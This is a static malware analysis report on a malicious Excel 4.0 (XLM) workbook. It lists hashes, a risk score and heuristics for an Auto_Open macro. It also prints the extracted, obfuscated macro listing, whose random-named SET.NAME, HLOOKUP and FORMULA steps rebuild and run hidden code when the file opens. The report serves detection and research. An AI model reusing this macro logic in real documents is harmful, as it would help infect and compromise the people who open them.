Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19ff7f3be0035214…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:27:00 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 8f8c8784925c14cb1e26cd0f5e6eff34 SHA-1: c9afabc4bb5de27fbe2b1bc1f2a78c36eb3f874e SHA-256: 19ff7f3be00352141bf1691908c0de58f9dd8c58691ae447edecf41a9fe62293
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6457 bytes
SHA-256: 6644fa3b86e3fb412361434b977fede7a461109519f38ff59caf786014e86673
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HeB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F188 
' 0018     25 LABEL : Cell Value, String Constant - AvwNkdadfs len=0 
' 0018     26 LABEL : Cell Value, String Constant - CfDAIZWnyOy len=0 
' 0018     21 LABEL : Cell Value, String Constant - dbnNun len=0 
' 0018     24 LABEL : Cell Value, String Constant - DYgyAocUm len=0 
' 0018     24 LABEL : Cell Value, String Constant - eKAiglZvB len=0 
' 0018     23 LABEL : Cell Value, String Constant - FHEnOnbM len=0 
' 0018     25 LABEL : Cell Value, String Constant - gJxliJCiiO len=0 
' 0018     22 LABEL : Cell Value, String Constant - hsRavmE len=0 
' 0018     23 LABEL : Cell Value, String Constant - iLbuGJIo len=0 
' 0018     26 LABEL : Cell Value, String Constant - KAhZRhSZgAj len=0 
' 0018     20 LABEL : Cell Value, String Constant - kvRWV len=0 
' 0018     27 LABEL : Cell Value, String Constant - LjidkjxeCVbm len=0 
' 0018     23 LABEL : Cell Value, String Constant - QNBPnEMH len=0 
' 0018     20 LABEL : Cell Value, String Constant - rMfST len=0 
' 0018     26 LABEL : Cell Value, String Constant - TPHEZLUOaIa len=0 
' 0018     22 LABEL : Cell Value, String Constant - VEoolEm len=0 
' 0018     21 LABEL : Cell Value, String Constant - VqpuBy len=0 
' 0018     23 LABEL : Cell Value, String Constant - WfbuVUdJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - xHyFqCpbdl len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZPKBQBGtF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HeB,F100,"SET.NAME("TPHEZLUOaIa",VALUE("0"))",""
'  HeB,F102,"SET.NAME("CfDAIZWnyOy",TPHEZLUOaIa)",""
'  HeB,F105,"SET.NAME("xHyFqCpbdl",TPHEZLUOaIa)",""
'  HeB,F109,"SET.NAME("dbnNun",COUNTA(LjidkjxeCVbm))",""
'  HeB,F113,"SET.NAME("QNBPnEMH",COUNTA(WfbuVUdJ))",""
'  HeB,F118,[],""
'  HeB,F121,"SET.NAME("iLbuGJIo","")",""
'  HeB,F125,"CfDAIZWnyOy",""
'  HeB,F130,"SET.NAME("hsRavmE",HLOOKUP("*",LjidkjxeCVbm,CfDAIZWnyOy,FALSE))",""
'  HeB,F134,"gJxliJCiiO",""
'  HeB,F139,"SET.NAME("kvRWV",TPHEZLUOaIa)",""
'  HeB,F141,[],""
'  HeB,F146,"kvRWV",""
'  HeB,F148,"eKAiglZvB",""
'  HeB,F151,"VEoolEm",""
'  HeB,F155,"KAhZRhSZgAj",""
'  HeB,F159,"SET.NAME("AvwNkdadfs",VALUE(HLOOKUP("*",WfbuVUdJ,KAhZRhSZgAj,FALSE)))",""
'  HeB,F161,"rMfST",""
'  HeB,F164,"iLbuGJIo",""
'  HeB,F166,"xHyFqCpbdl",""
'  HeB,F169,NEXT(),""
'  HeB,F173,"ZPKBQBGtF",""
'  HeB,F175,"SET.NAME("f",INT(T(FORMULA(T(iLbuGJIo)&"",""&T(ZPKBQBGtF)))))",""
'  HeB,F179,"VqpuBy",""
'  HeB,F184,NEXT(),""
'  HeB,F186,RETURN(),""
'  HeB,F215,"SET.NAME("DYgyAocUm",F100)",""
'  HeB,F219,"LjidkjxeCVbm",""
'  HeB,F223,"SET.NAME("WfbuVUdJ",R58C15)",""
'  HeB,F228,"SET.NAME("VqpuBy",233)",""
'  HeB,F230,"SET.NAME("FHEnOnbM",6)",""
'  HeB,F232,DYgyAocUm(),""
'  HeB,F233,HALT(),""

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